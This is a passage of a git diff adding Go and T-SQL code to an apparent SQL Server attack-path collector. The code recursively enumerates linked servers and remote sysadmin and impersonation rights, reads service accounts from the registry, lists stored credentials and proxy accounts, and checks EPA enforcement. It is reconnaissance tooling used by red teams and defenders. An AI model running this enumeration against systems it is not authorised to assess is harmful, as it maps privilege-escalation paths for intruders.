+SET @RowsToProcess = 1;
+
+WHILE @RowsToProcess > 0 AND @CurrentLevel < @MaxLevel
+BEGIN
+ DECLARE process_cursor CURSOR FOR
+ SELECT DISTINCT LinkedServer, MIN(Path)
+ FROM #mssqlhound_linked
+ WHERE Level = @CurrentLevel
+ AND LinkedServer NOT IN (SELECT ServerName FROM @ProcessedServers)
+ GROUP BY LinkedServer;
+
+ OPEN process_cursor;
+ FETCH NEXT FROM process_cursor INTO @LinkedServer, @Path;
+
+ WHILE @@FETCH_STATUS = 0
+ BEGIN
+ BEGIN TRY
+ SET @sql = '
+ INSERT INTO #mssqlhound_linked (Level, Path, SourceServer, LinkedServer, DataSource, Product, Provider, DataAccess, RPCOut,
+ LocalLogin, UsesImpersonation, RemoteLogin)
+ SELECT DISTINCT
+ ' + CAST(@CurrentLevel + 1 AS NVARCHAR) + ',
+ ''' + @Path + ' -> '' + s.name,
+ ''' + @LinkedServer + ''',
+ s.name,
+ s.data_source,
+ s.product,
+ s.provider,
+ s.is_data_access_enabled,
+ s.is_rpc_out_enabled,
+ COALESCE(sp.name, ''All Logins''),
+ ll.uses_self_credential,
+ ll.remote_name
+ FROM [' + @LinkedServer + '].[master].[sys].[servers] s
+ INNER JOIN [' + @LinkedServer + '].[master].[sys].[linked_logins] ll ON s.server_id = ll.server_id
+ LEFT JOIN [' + @LinkedServer + '].[master].[sys].[server_principals] sp ON ll.local_principal_id = sp.principal_id
+ WHERE s.is_linked = 1
+ AND ''' + @Path + ''' NOT LIKE ''%'' + s.name + '' ->%''
+ AND s.data_source NOT IN (
+ SELECT DISTINCT DataSource
+ FROM #mssqlhound_linked
+ WHERE DataSource IS NOT NULL
+ )';
+
+ EXEC sp_executesql @sql;
+ INSERT INTO @ProcessedServers VALUES (@LinkedServer);
+
+ END TRY
+ BEGIN CATCH
+ INSERT INTO @ProcessedServers VALUES (@LinkedServer);
+ END CATCH
+
+ FETCH NEXT FROM process_cursor INTO @LinkedServer, @Path;
+ END
+
+ CLOSE process_cursor;
+ DEALLOCATE process_cursor;
+
+ -- Check privileges for newly discovered servers
+ DECLARE privilege_cursor CURSOR FOR
+ SELECT ID, LinkedServer
+ FROM #mssqlhound_linked
+ WHERE Level = @CurrentLevel + 1
+ AND RemoteIsSysadmin IS NULL;
+
+ OPEN privilege_cursor;
+ FETCH NEXT FROM privilege_cursor INTO @CheckID, @CheckLinkedServer;
+
+ WHILE @@FETCH_STATUS = 0
+ BEGIN
+ DELETE FROM @PrivilegeResults;
+
+ BEGIN TRY
+ SET @CheckSQL2 = 'SELECT * FROM OPENQUERY([' + @CheckLinkedServer + '], ''
+ WITH RoleHierarchy AS (
+ SELECT
+ p.principal_id,
+ p.name AS principal_name,
+ CAST(p.name AS NVARCHAR(MAX)) AS path,
+ 0 AS level
+ FROM sys.server_principals p
+ WHERE p.name = SYSTEM_USER
+
+ UNION ALL
+
+ SELECT
+ r.principal_id,
+ r.name AS principal_name,
+ rh.path + '''' -> '''' + r.name,
+ rh.level + 1
+ FROM RoleHierarchy rh
+ INNER JOIN sys.server_role_members rm ON rm.member_principal_id = rh.principal_id
+ INNER JOIN sys.server_principals r ON rm.role_principal_id = r.principal_id
+ WHERE rh.level < 10
+ ),
+ AllPermissions AS (
+ SELECT DISTINCT
+ sp.permission_name,
+ sp.state
+ FROM RoleHierarchy rh
+ INNER JOIN sys.server_permissions sp ON sp.grantee_principal_id = rh.principal_id
+ WHERE sp.state = ''''G''''
+ )
+ SELECT
+ IS_SRVROLEMEMBER(''''sysadmin'''') AS IsSysadmin,
+ IS_SRVROLEMEMBER(''''securityadmin'''') AS IsSecurityAdmin,
+ SYSTEM_USER AS CurrentLogin,
+ CASE SERVERPROPERTY(''''IsIntegratedSecurityOnly'''')
+ WHEN 1 THEN 0
+ WHEN 0 THEN 1
+ END AS IsMixedMode,
+ CASE WHEN EXISTS (
+ SELECT 1 FROM AllPermissions
+ WHERE permission_name = ''''CONTROL SERVER''''
+ ) THEN 1 ELSE 0 END AS HasControlServer,
+ CASE WHEN EXISTS (
+ SELECT 1 FROM AllPermissions
+ WHERE permission_name = ''''IMPERSONATE ANY LOGIN''''
+ ) THEN 1 ELSE 0 END AS HasImpersonateAnyLogin
+ '')';
+
+ INSERT INTO @PrivilegeResults
+ EXEC sp_executesql @CheckSQL2;
+
+ UPDATE #mssqlhound_linked
+ SET RemoteIsSysadmin = (SELECT IsSysadmin FROM @PrivilegeResults),
+ RemoteIsSecurityAdmin = (SELECT IsSecurityAdmin FROM @PrivilegeResults),
+ RemoteCurrentLogin = (SELECT CurrentLogin FROM @PrivilegeResults),
+ RemoteIsMixedMode = (SELECT IsMixedMode FROM @PrivilegeResults),
+ RemoteHasControlServer = (SELECT HasControlServer FROM @PrivilegeResults),
+ RemoteHasImpersonateAnyLogin = (SELECT HasImpersonateAnyLogin FROM @PrivilegeResults)
+ WHERE ID = @CheckID;
+
+ END TRY
+ BEGIN CATCH
+ -- Continue on error
+ END CATCH
+
+ FETCH NEXT FROM privilege_cursor INTO @CheckID, @CheckLinkedServer;
+ END
+
+ CLOSE privilege_cursor;
+ DEALLOCATE privilege_cursor;
+
+ -- Count new unprocessed servers
+ SELECT @RowsToProcess = COUNT(DISTINCT LinkedServer)
+ FROM #mssqlhound_linked
+ WHERE Level = @CurrentLevel + 1
+ AND LinkedServer NOT IN (SELECT ServerName FROM @ProcessedServers);
+
+ SET @CurrentLevel = @CurrentLevel + 1;
+END
+
+-- Return all results
+SET NOCOUNT OFF;
+SELECT
+ Level,
+ Path,
+ SourceServer,
+ LinkedServer,
+ DataSource,
+ Product,
+ Provider,
+ DataAccess,
+ RPCOut,
+ LocalLogin,
+ UsesImpersonation,
+ RemoteLogin,
+ RemoteIsSysadmin,
+ RemoteIsSecurityAdmin,
+ RemoteCurrentLogin,
+ RemoteIsMixedMode,
+ RemoteHasControlServer,
+ RemoteHasImpersonateAnyLogin
+FROM #mssqlhound_linked
+ORDER BY Level, Path;
+
+DROP TABLE #mssqlhound_linked;
+`
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ return nil, err
+ }
+ defer rows.Close()
+
+ var servers []types.LinkedServer
+
+ for rows.Next() {
+ var s types.LinkedServer
+ var level int
+ var path, sourceServer, localLogin, remoteLogin, remoteCurrentLogin sql.NullString
+ var dataAccess, rpcOut, usesImpersonation sql.NullBool
+ var isSysadmin, isSecurityAdmin, isMixedMode, hasControlServer, hasImpersonateAnyLogin sql.NullBool
+
+ err := rows.Scan(
+ &level,
+ &path,
+ &sourceServer,
+ &s.Name,
+ &s.DataSource,
+ &s.Product,
+ &s.Provider,
+ &dataAccess,
+ &rpcOut,
+ &localLogin,
+ &usesImpersonation,
+ &remoteLogin,
+ &isSysadmin,
+ &isSecurityAdmin,
+ &remoteCurrentLogin,
+ &isMixedMode,
+ &hasControlServer,
+ &hasImpersonateAnyLogin,
+ )
+ if err != nil {
+ return nil, err
+ }
+
+ s.IsLinkedServer = true
+ s.Path = path.String
+ s.SourceServer = sourceServer.String
+ s.LocalLogin = localLogin.String
+ s.RemoteLogin = remoteLogin.String
+ if dataAccess.Valid {
+ s.IsDataAccessEnabled = dataAccess.Bool
+ }
+ if rpcOut.Valid {
+ s.IsRPCOutEnabled = rpcOut.Bool
+ }
+ if usesImpersonation.Valid {
+ s.IsSelfMapping = usesImpersonation.Bool
+ s.UsesImpersonation = usesImpersonation.Bool
+ }
+ if isSysadmin.Valid {
+ s.RemoteIsSysadmin = isSysadmin.Bool
+ }
+ if isSecurityAdmin.Valid {
+ s.RemoteIsSecurityAdmin = isSecurityAdmin.Bool
+ }
+ if remoteCurrentLogin.Valid {
+ s.RemoteCurrentLogin = remoteCurrentLogin.String
+ }
+ if isMixedMode.Valid {
+ s.RemoteIsMixedMode = isMixedMode.Bool
+ }
+ if hasControlServer.Valid {
+ s.RemoteHasControlServer = hasControlServer.Bool
+ }
+ if hasImpersonateAnyLogin.Valid {
+ s.RemoteHasImpersonateAnyLogin = hasImpersonateAnyLogin.Bool
+ }
+
+ servers = append(servers, s)
+ }
+
+ return servers, nil
+}
+
+// checkLinkedServerPrivileges is no longer needed as privilege checking
+// is now integrated into the recursive collectLinkedServers() query.
+
+// collectServiceAccounts gets SQL Server service account information
+func (c *Client) collectServiceAccounts(ctx context.Context, info *types.ServerInfo) error {
+ // Try sys.dm_server_services first (SQL Server 2008 R2+)
+ // Note: Exclude SQL Server Agent to match PowerShell behavior
+ query := `
+ SELECT
+ servicename,
+ service_account,
+ startup_type_desc
+ FROM sys.dm_server_services
+ WHERE servicename LIKE 'SQL Server%' AND servicename NOT LIKE 'SQL Server Agent%'
+ `
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ // DMV might not exist or user doesn't have permission
+ // Fall back to registry read
+ return c.collectServiceAccountFromRegistry(ctx, info)
+ }
+ defer rows.Close()
+
+ foundService := false
+ for rows.Next() {
+ var serviceName, serviceAccount, startupType sql.NullString
+
+ if err := rows.Scan(&serviceName, &serviceAccount, &startupType); err != nil {
+ continue
+ }
+
+ if serviceAccount.Valid && serviceAccount.String != "" {
+ if !foundService {
+ c.logVerbose("Identified service account in sys.dm_server_services")
+ foundService = true
+ }
+
+ sa := types.ServiceAccount{
+ Name: serviceAccount.String,
+ ServiceName: serviceName.String,
+ StartupType: startupType.String,
+ }
+
+ // Determine service type
+ if strings.Contains(serviceName.String, "Agent") {
+ sa.ServiceType = "SQLServerAgent"
+ } else {
+ sa.ServiceType = "SQLServer"
+ c.logVerbose("SQL Server service account: %s", serviceAccount.String)
+ }
+
+ info.ServiceAccounts = append(info.ServiceAccounts, sa)
+ }
+ }
+
+ // If no results, try registry fallback
+ if len(info.ServiceAccounts) == 0 {
+ return c.collectServiceAccountFromRegistry(ctx, info)
+ }
+
+ // Log if adding machine account
+ for _, sa := range info.ServiceAccounts {
+ if strings.HasSuffix(sa.Name, "$") {
+ c.logVerbose("Adding service account: %s", sa.Name)
+ }
+ }
+
+ return nil
+}
+
+// collectServiceAccountFromRegistry tries to get service account from registry via xp_instance_regread
+func (c *Client) collectServiceAccountFromRegistry(ctx context.Context, info *types.ServerInfo) error {
+ query := `
+ DECLARE @ServiceAccount NVARCHAR(256)
+ EXEC master.dbo.xp_instance_regread
+ N'HKEY_LOCAL_MACHINE',
+ N'SYSTEM\CurrentControlSet\Services\MSSQLSERVER',
+ N'ObjectName',
+ @ServiceAccount OUTPUT
+ SELECT @ServiceAccount AS ServiceAccount
+ `
+
+ var serviceAccount sql.NullString
+ err := c.DBW().QueryRowContext(ctx, query).Scan(&serviceAccount)
+ if err != nil || !serviceAccount.Valid {
+ // Try named instance path
+ query = `
+ DECLARE @ServiceAccount NVARCHAR(256)
+ DECLARE @ServiceKey NVARCHAR(256)
+ SET @ServiceKey = N'SYSTEM\CurrentControlSet\Services\MSSQL$' + CAST(SERVERPROPERTY('InstanceName') AS NVARCHAR)
+ EXEC master.dbo.xp_instance_regread
+ N'HKEY_LOCAL_MACHINE',
+ @ServiceKey,
+ N'ObjectName',
+ @ServiceAccount OUTPUT
+ SELECT @ServiceAccount AS ServiceAccount
+ `
+ err = c.DBW().QueryRowContext(ctx, query).Scan(&serviceAccount)
+ }
+
+ if err == nil && serviceAccount.Valid && serviceAccount.String != "" {
+ sa := types.ServiceAccount{
+ Name: serviceAccount.String,
+ ServiceName: "SQL Server",
+ ServiceType: "SQLServer",
+ }
+ info.ServiceAccounts = append(info.ServiceAccounts, sa)
+ }
+
+ return nil
+}
+
+// collectCredentials gets server-level credentials
+func (c *Client) collectCredentials(ctx context.Context, info *types.ServerInfo) error {
+ query := `
+ SELECT
+ credential_id,
+ name,
+ credential_identity,
+ create_date,
+ modify_date
+ FROM sys.credentials
+ ORDER BY credential_id
+ `
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ // User might not have permission to view credentials
+ return nil
+ }
+ defer rows.Close()
+
+ for rows.Next() {
+ var cred types.Credential
+
+ err := rows.Scan(
+ &cred.CredentialID,
+ &cred.Name,
+ &cred.CredentialIdentity,
+ &cred.CreateDate,
+ &cred.ModifyDate,
+ )
+ if err != nil {
+ continue
+ }
+
+ info.Credentials = append(info.Credentials, cred)
+ }
+
+ return nil
+}
+
+// collectLoginCredentialMappings gets credential mappings for logins
+func (c *Client) collectLoginCredentialMappings(ctx context.Context, principals []types.ServerPrincipal, serverInfo *types.ServerInfo) error {
+ // Query to get login-to-credential mappings
+ query := `
+ SELECT
+ sp.principal_id,
+ c.credential_id,
+ c.name AS credential_name,
+ c.credential_identity
+ FROM sys.server_principals sp
+ JOIN sys.server_principal_credentials spc ON sp.principal_id = spc.principal_id
+ JOIN sys.credentials c ON spc.credential_id = c.credential_id
+ `
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ // sys.server_principal_credentials might not exist in older versions
+ return nil
+ }
+ defer rows.Close()
+
+ // Build principal map
+ principalMap := make(map[int]*types.ServerPrincipal)
+ for i := range principals {
+ principalMap[principals[i].PrincipalID] = &principals[i]
+ }
+
+ for rows.Next() {
+ var principalID, credentialID int
+ var credName, credIdentity string
+
+ if err := rows.Scan(&principalID, &credentialID, &credName, &credIdentity); err != nil {
+ continue
+ }
+
+ if principal, ok := principalMap[principalID]; ok {
+ principal.MappedCredential = &types.Credential{
+ CredentialID: credentialID,
+ Name: credName,
+ CredentialIdentity: credIdentity,
+ }
+ }
+ }
+
+ return nil
+}
+
+// collectProxyAccounts gets SQL Agent proxy accounts
+func (c *Client) collectProxyAccounts(ctx context.Context, info *types.ServerInfo) error {
+ // Query for proxy accounts with their credentials and subsystems
+ query := `
+ SELECT
+ p.proxy_id,
+ p.name AS proxy_name,
+ p.credential_id,
+ c.name AS credential_name,
+ c.credential_identity,
+ p.enabled,
+ ISNULL(p.description, '') AS description
+ FROM msdb.dbo.sysproxies p
+ JOIN sys.credentials c ON p.credential_id = c.credential_id
+ ORDER BY p.proxy_id
+ `
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ // User might not have access to msdb
+ return nil
+ }
+ defer rows.Close()
+
+ proxies := make(map[int]*types.ProxyAccount)
+
+ for rows.Next() {
+ var proxy types.ProxyAccount
+ var enabled int
+
+ err := rows.Scan(
+ &proxy.ProxyID,
+ &proxy.Name,
+ &proxy.CredentialID,
+ &proxy.CredentialName,
+ &proxy.CredentialIdentity,
+ &enabled,
+ &proxy.Description,
+ )
+ if err != nil {
+ continue
+ }
+
+ proxy.Enabled = enabled == 1
+ proxies[proxy.ProxyID] = &proxy
+ }
+ rows.Close()
+
+ // Get subsystems for each proxy
+ subsystemQuery := `
+ SELECT
+ ps.proxy_id,
+ s.subsystem
+ FROM msdb.dbo.sysproxysubsystem ps
+ JOIN msdb.dbo.syssubsystems s ON ps.subsystem_id = s.subsystem_id
+ `
+
+ rows, err = c.DBW().QueryContext(ctx, subsystemQuery)
+ if err == nil {
+ defer rows.Close()
+ for rows.Next() {
+ var proxyID int
+ var subsystem string
+ if err := rows.Scan(&proxyID, &subsystem); err != nil {
+ continue
+ }
+ if proxy, ok := proxies[proxyID]; ok {
+ proxy.Subsystems = append(proxy.Subsystems, subsystem)
+ }
+ }
+ }
+
+ // Get login authorizations for each proxy
+ loginQuery := `
+ SELECT
+ pl.proxy_id,
+ sp.name AS login_name
+ FROM msdb.dbo.sysproxylogin pl
+ JOIN sys.server_principals sp ON pl.sid = sp.sid
+ `
+
+ rows, err = c.DBW().QueryContext(ctx, loginQuery)
+ if err == nil {
+ defer rows.Close()
+ for rows.Next() {
+ var proxyID int
+ var loginName string
+ if err := rows.Scan(&proxyID, &loginName); err != nil {
+ continue
+ }
+ if proxy, ok := proxies[proxyID]; ok {
+ proxy.Logins = append(proxy.Logins, loginName)
+ }
+ }
+ }
+
+ // Add all proxies to server info
+ for _, proxy := range proxies {
+ info.ProxyAccounts = append(info.ProxyAccounts, *proxy)
+ }
+
+ return nil
+}
+
+// collectDBScopedCredentials gets database-scoped credentials for a database
+func (c *Client) collectDBScopedCredentials(ctx context.Context, db *types.Database) error {
+ query := fmt.Sprintf(`
+ SELECT
+ credential_id,
+ name,
+ credential_identity,
+ create_date,
+ modify_date
+ FROM [%s].sys.database_scoped_credentials
+ ORDER BY credential_id
+ `, db.Name)
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ // sys.database_scoped_credentials might not exist (pre-SQL 2016) or user lacks permission
+ return nil
+ }
+ defer rows.Close()
+
+ for rows.Next() {
+ var cred types.DBScopedCredential
+
+ err := rows.Scan(
+ &cred.CredentialID,
+ &cred.Name,
+ &cred.CredentialIdentity,
+ &cred.CreateDate,
+ &cred.ModifyDate,
+ )
+ if err != nil {
+ continue
+ }
+
+ db.DBScopedCredentials = append(db.DBScopedCredentials, cred)
+ }
+
+ return nil
+}
+
+// collectAuthenticationMode gets the authentication mode (Windows-only vs Mixed)
+func (c *Client) collectAuthenticationMode(ctx context.Context, info *types.ServerInfo) error {
+ query := `
+ SELECT
+ CASE SERVERPROPERTY('IsIntegratedSecurityOnly')
+ WHEN 1 THEN 0 -- Windows Authentication only
+ WHEN 0 THEN 1 -- Mixed mode
+ END AS IsMixedModeAuthEnabled
+ `
+
+ var isMixed int
+ if err := c.DBW().QueryRowContext(ctx, query).Scan(&isMixed); err == nil {
+ info.IsMixedModeAuth = isMixed == 1
+ }
+
+ return nil
+}
+
+// collectEncryptionSettings gets the force encryption and EPA settings.
+// It performs actual EPA connection testing when domain credentials are available,
+// falling back to registry-based detection otherwise.
+func (c *Client) collectEncryptionSettings(ctx context.Context, info *types.ServerInfo) error {
+ // Always attempt EPA testing if we have LDAP/domain credentials
+ if c.ldapUser != "" && c.ldapPassword != "" {
+ epaResult, err := c.TestEPA(ctx)
+ if err != nil {
+ c.logVerbose("Warning: EPA testing failed: %v, falling back to registry", err)
+ } else {
+ // Use results from EPA testing
+ if epaResult.ForceEncryption {
+ info.ForceEncryption = "Yes"
+ } else {
+ info.ForceEncryption = "No"
+ }
+ if epaResult.StrictEncryption {
+ info.StrictEncryption = "Yes"
+ } else {
+ info.StrictEncryption = "No"
+ }
+ info.ExtendedProtection = epaResult.EPAStatus
+ return nil
+ }
+ }
+
+ // Fall back to registry-based detection (or primary method when not verbose)
+ query := `
+ DECLARE @ForceEncryption INT
+ DECLARE @ExtendedProtection INT
+
+ EXEC master.dbo.xp_instance_regread
+ N'HKEY_LOCAL_MACHINE',
+ N'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\SuperSocketNetLib',
+ N'ForceEncryption',
+ @ForceEncryption OUTPUT
+
+ EXEC master.dbo.xp_instance_regread
+ N'HKEY_LOCAL_MACHINE',
+ N'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\SuperSocketNetLib',
+ N'ExtendedProtection',
+ @ExtendedProtection OUTPUT
+
+ SELECT
+ @ForceEncryption AS ForceEncryption,
+ @ExtendedProtection AS ExtendedProtection
+ `
+
+ var forceEnc, extProt sql.NullInt64
+
+ err := c.DBW().QueryRowContext(ctx, query).Scan(&forceEnc, &extProt)
+ if err != nil {
+ return nil // Non-fatal - user might not have permission
+ }
+
+ if forceEnc.Valid {
+ if forceEnc.Int64 == 1 {
+ info.ForceEncryption = "Yes"
+ } else {
+ info.ForceEncryption = "No"
+ }
+ }
+
+ if extProt.Valid {
+ switch extProt.Int64 {
+ case 0:
+ info.ExtendedProtection = "Off"
+ case 1:
+ info.ExtendedProtection = "Allowed"
+ case 2:
+ info.ExtendedProtection = "Required"
+ }
+ }
+
+ return nil
+}
+
+// TestConnection tests if a connection can be established
+func TestConnection(serverInstance, userID, password string, timeout time.Duration) error {
+ client := NewClient(serverInstance, userID, password)
+
+ ctx, cancel := context.WithTimeout(context.Background(), timeout)
+ defer cancel()
+
+ if err := client.Connect(ctx); err != nil {
+ return err
+ }
+ defer client.Close()
+
+ return nil
+}
diff --git a/internal/mssql/db_wrapper.go b/internal/mssql/db_wrapper.go
new file mode 100644
index 0000000..e0e19be
--- /dev/null
+++ b/internal/mssql/db_wrapper.go
@@ -0,0 +1,435 @@
+// Package mssql provides SQL Server connection and data collection functionality.
+package mssql
+
+import (
+ "context"
+ "database/sql"
+ "fmt"
+ "time"
+)
+
+// DBWrapper provides a unified interface for database queries
+// that works with both native go-mssqldb and PowerShell fallback modes.
+type DBWrapper struct {
+ db *sql.DB // Native database connection
+ psClient *PowerShellClient // PowerShell client for fallback
+ usePowerShell bool
+}
+
+// NewDBWrapper creates a new database wrapper
+func NewDBWrapper(db *sql.DB, psClient *PowerShellClient, usePowerShell bool) *DBWrapper {
+ return &DBWrapper{
+ db: db,
+ psClient: psClient,
+ usePowerShell: usePowerShell,
+ }
+}
+
+// RowScanner provides a unified interface for scanning rows
+type RowScanner interface {
+ Scan(dest ...interface{}) error
+}
+
+// Rows provides a unified interface for iterating over query results
+type Rows interface {
+ Next() bool
+ Scan(dest ...interface{}) error
+ Close() error
+ Err() error
+ Columns() ([]string, error)
+}
+
+// nativeRows wraps sql.Rows
+type nativeRows struct {
+ rows *sql.Rows
+}
+
+func (r *nativeRows) Next() bool { return r.rows.Next() }
+func (r *nativeRows) Scan(dest ...interface{}) error { return r.rows.Scan(dest...) }
+func (r *nativeRows) Close() error { return r.rows.Close() }
+func (r *nativeRows) Err() error { return r.rows.Err() }
+func (r *nativeRows) Columns() ([]string, error) { return r.rows.Columns() }
+
+// psRows wraps PowerShell query results to implement the Rows interface
+type psRows struct {
+ results []QueryResult
+ columns []string // Column names in query order (from QueryResponse)
+ current int
+ lastErr error
+}
+
+func newPSRows(response *QueryResponse) *psRows {
+ r := &psRows{
+ results: response.Rows,
+ columns: response.Columns, // Use column order from PowerShell response
+ current: -1,
+ }
+ return r
+}
+
+func (r *psRows) Next() bool {
+ r.current++
+ return r.current < len(r.results)
+}
+
+func (r *psRows) Scan(dest ...interface{}) error {
+ if r.current >= len(r.results) || r.current < 0 {
+ return sql.ErrNoRows
+ }
+
+ row := r.results[r.current]
+
+ // Match columns to destinations in order
+ for i, col := range r.columns {
+ if i >= len(dest) {
+ break
+ }
+ if err := scanValue(row[col], dest[i]); err != nil {
+ r.lastErr = err
+ return err
+ }
+ }
+ return nil
+}
+
+func (r *psRows) Close() error { return nil }
+func (r *psRows) Err() error { return r.lastErr }
+func (r *psRows) Columns() ([]string, error) { return r.columns, nil }
+
+// scanValue converts a PowerShell query result value to the destination type
+func scanValue(src interface{}, dest interface{}) error {
+ if src == nil {
+ switch d := dest.(type) {
+ case *sql.NullString:
+ d.Valid = false
+ return nil
+ case *sql.NullInt64:
+ d.Valid = false
+ return nil
+ case *sql.NullBool:
+ d.Valid = false
+ return nil
+ case *sql.NullInt32:
+ d.Valid = false
+ return nil
+ case *sql.NullFloat64:
+ d.Valid = false
+ return nil
+ case *sql.NullTime:
+ d.Valid = false
+ return nil
+ case *string:
+ *d = ""
+ return nil
+ case *int:
+ *d = 0
+ return nil
+ case *int64:
+ *d = 0
+ return nil
+ case *bool:
+ *d = false
+ return nil
+ case *time.Time:
+ *d = time.Time{}
+ return nil
+ case *interface{}:
+ *d = nil
+ return nil
+ case *[]byte:
+ *d = nil
+ return nil
+ default:
+ return nil
+ }
+ }
+
+ switch d := dest.(type) {
+ case *sql.NullString:
+ d.Valid = true
+ switch v := src.(type) {
+ case string:
+ d.String = v
+ case float64:
+ d.String = fmt.Sprintf("%v", v)
+ default:
+ d.String = fmt.Sprintf("%v", v)
+ }
+ return nil
+
+ case *sql.NullInt64:
+ d.Valid = true
+ switch v := src.(type) {
+ case float64:
+ d.Int64 = int64(v)
+ case int:
+ d.Int64 = int64(v)
+ case int64:
+ d.Int64 = v
+ case bool:
+ if v {
+ d.Int64 = 1
+ } else {
+ d.Int64 = 0
+ }
+ default:
+ d.Int64 = 0
+ }
+ return nil
+
+ case *sql.NullInt32:
+ d.Valid = true
+ switch v := src.(type) {
+ case float64:
+ d.Int32 = int32(v)
+ case int:
+ d.Int32 = int32(v)
+ case int64:
+ d.Int32 = int32(v)
+ case bool:
+ if v {
+ d.Int32 = 1
+ } else {
+ d.Int32 = 0
+ }
+ default:
+ d.Int32 = 0
+ }
+ return nil
+
+ case *sql.NullBool:
+ d.Valid = true
+ switch v := src.(type) {
+ case bool:
+ d.Bool = v
+ case float64:
+ d.Bool = v != 0
+ case int:
+ d.Bool = v != 0
+ default:
+ d.Bool = false
+ }
+ return nil
+
+ case *sql.NullFloat64:
+ d.Valid = true
+ switch v := src.(type) {
+ case float64:
+ d.Float64 = v
+ case int:
+ d.Float64 = float64(v)
+ case int64:
+ d.Float64 = float64(v)
+ default:
+ d.Float64 = 0
+ }
+ return nil
+
+ case *string:
+ switch v := src.(type) {
+ case string:
+ *d = v
+ default:
+ *d = fmt.Sprintf("%v", v)
+ }
+ return nil
+
+ case *int:
+ switch v := src.(type) {
+ case float64:
+ *d = int(v)
+ case int:
+ *d = v
+ case int64:
+ *d = int(v)
+ default:
+ *d = 0
+ }
+ return nil
+
+ case *int64:
+ switch v := src.(type) {
+ case float64:
+ *d = int64(v)
+ case int:
+ *d = int64(v)
+ case int64:
+ *d = v
+ default:
+ *d = 0
+ }
+ return nil
+
+ case *bool:
+ switch v := src.(type) {
+ case bool:
+ *d = v
+ case float64:
+ *d = v != 0
+ case int:
+ *d = v != 0
+ default:
+ *d = false
+ }
+ return nil
+
+ case *time.Time:
+ switch v := src.(type) {
+ case string:
+ // Try common date formats from PowerShell/JSON
+ formats := []string{
+ time.RFC3339,
+ "2006-01-02T15:04:05.999999999Z07:00",
+ "2006-01-02T15:04:05Z",
+ "2006-01-02T15:04:05",
+ "2006-01-02 15:04:05",
+ "1/2/2006 3:04:05 PM",
+ "/Date(1136239445000)/", // .NET JSON date format
+ }
+ for _, format := range formats {
+ if t, err := time.Parse(format, v); err == nil {
+ *d = t
+ return nil
+ }
+ }
+ *d = time.Time{}
+ case time.Time:
+ *d = v
+ default:
+ *d = time.Time{}
+ }
+ return nil
+
+ case *sql.NullTime:
+ d.Valid = true
+ switch v := src.(type) {
+ case string:
+ formats := []string{
+ time.RFC3339,
+ "2006-01-02T15:04:05.999999999Z07:00",
+ "2006-01-02T15:04:05Z",
+ "2006-01-02T15:04:05",
+ "2006-01-02 15:04:05",
+ "1/2/2006 3:04:05 PM",
+ }
+ for _, format := range formats {
+ if t, err := time.Parse(format, v); err == nil {
+ d.Time = t
+ return nil
+ }
+ }
+ d.Valid = false
+ d.Time = time.Time{}
+ case time.Time:
+ d.Time = v
+ default:
+ d.Valid = false
+ d.Time = time.Time{}
+ }
+ return nil
+
+ case *interface{}:
+ *d = src
+ return nil
+
+ case *[]byte: // []uint8 is same as []byte
+ // Handle byte slices (used for binary data like SIDs)
+ bytesDest := dest.(*[]byte)
+ switch v := src.(type) {
+ case string:
+ // String from JSON - could be base64 or hex
+ *bytesDest = []byte(v)
+ case []byte:
+ *bytesDest = v
+ case []interface{}:
+ // PowerShell sometimes returns byte arrays as array of numbers
+ bytes := make([]byte, len(v))
+ for i, b := range v {
+ if num, ok := b.(float64); ok {
+ bytes[i] = byte(num)
+ }
+ }
+ *bytesDest = bytes
+ default:
+ // Set to empty slice
+ *bytesDest = []byte{}
+ }
+ return nil
+
+ default:
+ return fmt.Errorf("unsupported scan destination type: %T", dest)
+ }
+}
+
+// QueryContext executes a query and returns rows
+func (w *DBWrapper) QueryContext(ctx context.Context, query string, args ...interface{}) (Rows, error) {
+ if w.usePowerShell {
+ // PowerShell doesn't support parameterized queries well, so we only support queries without args
+ if len(args) > 0 {
+ return nil, fmt.Errorf("PowerShell mode does not support parameterized queries")
+ }
+ response, err := w.psClient.ExecuteQuery(ctx, query)
+ if err != nil {
+ return nil, err
+ }
+ return newPSRows(response), nil
+ }
+
+ rows, err := w.db.QueryContext(ctx, query, args...)
+ if err != nil {
+ return nil, err
+ }
+ return &nativeRows{rows: rows}, nil
+}
+
+// QueryRowContext executes a query and returns a single row
+func (w *DBWrapper) QueryRowContext(ctx context.Context, query string, args ...interface{}) RowScanner {
+ if w.usePowerShell {
+ if len(args) > 0 {
+ return &errorRowScanner{err: fmt.Errorf("PowerShell mode does not support parameterized queries")}
+ }
+ response, err := w.psClient.ExecuteQuery(ctx, query)
+ if err != nil {
+ return &errorRowScanner{err: err}
+ }
+ if len(response.Rows) == 0 {
+ return &errorRowScanner{err: sql.ErrNoRows}
+ }
+ rows := newPSRows(response)
+ rows.Next() // Advance to first row
+ return rows
+ }
+
+ return w.db.QueryRowContext(ctx, query, args...)
+}
+
+// ExecContext executes a query without returning rows
+func (w *DBWrapper) ExecContext(ctx context.Context, query string, args ...interface{}) (sql.Result, error) {
+ if w.usePowerShell {
+ if len(args) > 0 {
+ return nil, fmt.Errorf("PowerShell mode does not support parameterized queries")
+ }
+ _, err := w.psClient.ExecuteQuery(ctx, query)
+ if err != nil {
+ return nil, err
+ }
+ return &psResult{}, nil
+ }
+
+ return w.db.ExecContext(ctx, query, args...)
+}
+
+// psResult implements sql.Result for PowerShell mode
+type psResult struct{}
+
+func (r *psResult) LastInsertId() (int64, error) { return 0, nil }
+func (r *psResult) RowsAffected() (int64, error) { return 0, nil }
+
+// errorRowScanner returns an error on Scan
+type errorRowScanner struct {
+ err error
+}
+
+func (r *errorRowScanner) Scan(dest ...interface{}) error {
+ return r.err
+}
diff --git a/internal/mssql/epa_tester.go b/internal/mssql/epa_tester.go
new file mode 100644
index 0000000..c913c4f
--- /dev/null
+++ b/internal/mssql/epa_tester.go
@@ -0,0 +1,811 @@
+// Package mssql - EPA test orchestrator.
+// Performs raw TDS+TLS+NTLM login attempts with controllable Channel Binding
+// and Service Binding AV_PAIRs to determine EPA enforcement level.
+// This matches the approach used in the Python reference implementation
